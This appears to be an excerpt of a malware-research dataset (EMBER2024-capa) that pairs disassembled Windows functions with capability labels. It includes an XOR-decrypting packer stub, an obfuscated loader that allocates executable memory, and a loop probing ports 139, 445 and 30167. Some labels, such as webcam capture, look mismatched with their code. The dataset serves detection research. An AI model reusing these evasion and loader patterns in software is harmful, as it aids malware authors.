joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43d570
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x47dcd8
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x43d5a9
inc eax
mov dword [esi + 0x10], eax
jmp 0x43d6bc
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x43d5bd
mov eax, 0xffffffc7
jmp 0x43d6be
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x43d5ce
cmp dword [esi + 8], eax
jne 0x43d5bd
cmp dword [esi + 8], eax
jne 0x43d5e7
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x43d5e7
mov eax, 0xffffffc7
jmp 0x43d6be
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x43d5fb
push eax
mov ecx, ebx
call fcn.0043cda0
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.0040dcc0
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x43d62c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.0040dce0
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.0043c510
test eax, eax
mov dword [esp + 0x38], eax
je 0x43d65f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x48c730
call fcn.0040dec0
mov eax, dword [esp + 0x38]
jmp 0x43d6be
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.0043d3d0
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x43d6a3
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.0043d3f0
mov esi, eax
test esi, esi
jne 0x43d6d3
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.0043d3d0
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x43d675
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x48c730
call fcn.0040dec0
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x48c730
call fcn.0040dec0
mov eax, esi
jmp 0x43d6be

Function at 0x440800
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x440860
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x440860
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x440860
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x440860
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x4408a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x4467e0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x47e308
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.00477024
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.00446180
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.00476f52
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.00473816
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.00473816
push 1
push 0
push 0
mov ecx, esi
call fcn.004737be
push 1
push 0
push 1
mov ecx, esi
call fcn.004737be
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00477096
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x446960
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x47e328
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.00477024
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.00446180
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.00476f52
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x446a24
cmp dword [esp + 0x40], 1
jne 0x446a22
cmp ecx, eax
jge 0x446a24
mov eax, ecx
cmp eax, 0xc8
jge 0x446a30
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.004467e0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00477096
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x4471a0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x47e393
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00471c34
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.004772cc
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.004787e8
test eax, eax
je 0x4472bc
mov ecx, dword [esp + 0x3c]
call fcn.004772f9
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x447280
push edi
mov ecx, esi
call fcn.00474961
mov ecx, esi
call fcn.00447420
cmp dword [esp + 0x38], 1
jne 0x4472b5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00474a9c
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x449cd0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x449d03
push esi
call fcn.0044cde0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x449cfc
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x449d89
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x449d72
mov eax, dword [esi + 8]
test eax, eax
je 0x449d27
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x449d6e
cmp eax, 2
je 0x449d72
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x449d1a
cmp eax, 3
je 0x449d4d
cmp eax, 1
jne 0x449d1a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x449d1a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x449d1a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00449db0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x449d98
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00449db0
add esp, 4
pop esi
ret
Function at 0x45b160
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x45b203
test eax, eax
jbe 0x45b203
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x45b203
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x45b1ae
xor esi, esi
jmp 0x45b1b4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x45b1df
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.0040e660
add esi, eax
push esi
mov ebx, esi
call fcn.0040e660
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x45b1c0
pop ebp
test edi, edi
pop edi
jne 0x45b203
test ebx, ebx
je 0x45b203
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.00461390
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x45b345
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x45b45d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x45b45d
mov eax, dword [esi + 0x3c]
push eax
call fcn.00472086
mov esi, eax
test esi, esi
je 0x45b45d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x45b45d
mov ecx, esi
call fcn.0045b2b0
cmp edi, eax
jge 0x45b45d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x45b3e3
mov dword [esp + 0x34], 1
jmp 0x45b43e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x45b45d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.00459a90
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x472a29
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x472a61
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00470ae0
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00470ab8
jmp 0x472a6d
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x47411e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x474160
call fcn.00479bd8
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x474160
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x474157
xor eax, eax
jmp 0x474168
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0047416e
pop edi
pop esi
pop ebx
ret 4

Function at 0x47a108
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47a136
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47a154
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047a06e
jmp 0x47a154
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47a154
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047a06e
test edi, edi
mov eax, edi
jne 0x47a13e
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40a23c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0x10]
call fcn.00403dcc
cmp ebp, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40a2a5
mov eax, dword [ebx + 0x10]
mov edx, 0x40a3d8
call fcn.00404190
jne 0x40a274
lea eax, [ebx + 0x10]
call fcn.00403dcc
jmp 0x40a2ad
mov eax, dword [ebx + 0x10]
mov edx, 0x40a3e4
call fcn.00404190
jne 0x40a290
lea eax, [ebx + 0x10]
mov edx, 0x40a3d8
call fcn.00403e20
cmp dword [ebx + 0x10], 0
jne 0x40a2ad
lea eax, [ebx + 0x10]
mov edx, 0x40a3e4
call fcn.00403e20
jmp 0x40a2ad
lea eax, [ebx + 0x10]
call fcn.00403dcc
mov eax, ebx
call fcn.0040a08c
mov eax, dword [0x40b158]
inc dword [eax]
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov word [esp], 2
push 0x8b
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a307
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x1bd
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a34a
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x75d7
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a38d
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
test edi, edi
je 0x40a3b7
push esi
call sub.wsock32.dll_closesocket
lea eax, [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
mov edx, 0x40a3f0
call fcn.00404090
mov eax, ebx
call fcn.00409f64
mov ebp, eax
push 0x200
call sub.KERNEL32.DLL_Sleep
jmp 0x40a251

Function at 0x420f68
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x420f6e
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x319f657e
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x7f144622
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x421790
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x421928
cmp ebp, ebx
jle 0x421928
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4217ee
dec eax
or eax, 0xfffffff8
inc eax
je 0x4217f5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, 0x80000001
jns 0x421804
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42180b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0046406d
add esp, 4
cmp eax, ebx
je 0x42182c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0046406d
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42191e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x421905
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4218f1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4218e6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4218f4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4218f4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x421890
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x421881
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x43bf60
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x43bf93
push esi
call fcn.0043f060
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x43bf8c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x43c019
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x43c002
mov eax, dword [esi + 8]
test eax, eax
je 0x43bfb7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x43bffe
cmp eax, 2
je 0x43c002
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x43bfaa
cmp eax, 3
je 0x43bfdd
cmp eax, 1
jne 0x43bfaa
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x43bfaa
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x43bfaa
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0043c040
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x43c028
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0043c040
add esp, 4
pop esi
ret
Function at 0x403015
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x403024
pop dword [ebp - 0x10]
mov eax, 0x403024
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xcb86b139
sub dword [ebp - 0x20], 0x7d346bee
mov dword [ebp - 0x1c], 0x96d47336
sub dword [ebp - 0x1c], 0x64a126f1
mov dword [ebp - 0x18], 0x893461a2
sub dword [ebp - 0x18], 0x3ce81d74
mov dword [ebp - 0x14], 0xfaa103a5
sub dword [ebp - 0x14], 0xfaa103a5
lea eax, [ebp - 0x20]
push eax
mov eax, 0xf358f1ea
add eax, 0xce78e8e
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xa5949b98
add dword [ebp - 0x20], 0xceddcdbe
mov dword [ebp - 0x1c], 0xff99a0be
sub dword [ebp - 0x1c], 0xbe2d3f49
mov dword [ebp - 0x18], 0xcc4f2a56
add dword [ebp - 0x18], 0x97204216
mov dword [ebp - 0x14], 0xc5e651c
sub dword [ebp - 0x14], 0xc5e651c
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xdf329028
add eax, 0x210df054
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3930c
push 0
call eax
mov ecx, 0x62b58f25
add ecx, 0x9d4ac177
mov edi, eax
mov ebx, 0x380a5cff
sub ebx, 0x37c4caff
add ebx, dword [ebp - 0x10]
mov edx, 0x8b2f4ee
sub dword [ebp - 0xc], edi
mov esi, dword [ebx]
xor dword [ebp - 8], 0x7ce10bab
add esi, edx
mov dword [edi], esi
add dword [ebp - 4], 0x2420cf67
add edi, 0xfaa594b4
sub edi, 0xfaa594b0
add ebx, 0xf85d2418
add ebx, 0x7a2dbec
loop 0x40313b
add eax, 0x815afea
sub eax, 0x8147aa7
mov ebx, eax
add eax, 0x1a88cf04
sub eax, 0x1a88ceff
mov ecx, 0x85fb9c85
sub ecx, 0x85bb9c85
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x44eea9
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.0044f059
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x44efa7
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x44ef4a
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x44ef8d
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x44ef61
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x44ef7c
test al, 0x40
je 0x44ef73
mov ecx, dword [edi + 0x20]
jmp 0x44ef7a
test al, 0x80
je 0x44ef8d
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x44ef8d
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x44ef19
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x10001f20
Capabilities:
Hash data with md5

Disassembly:
push esi
xor eax, eax
lea esi, [ecx + 0x5c]
push 0x40
push eax
push esi
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x14], eax
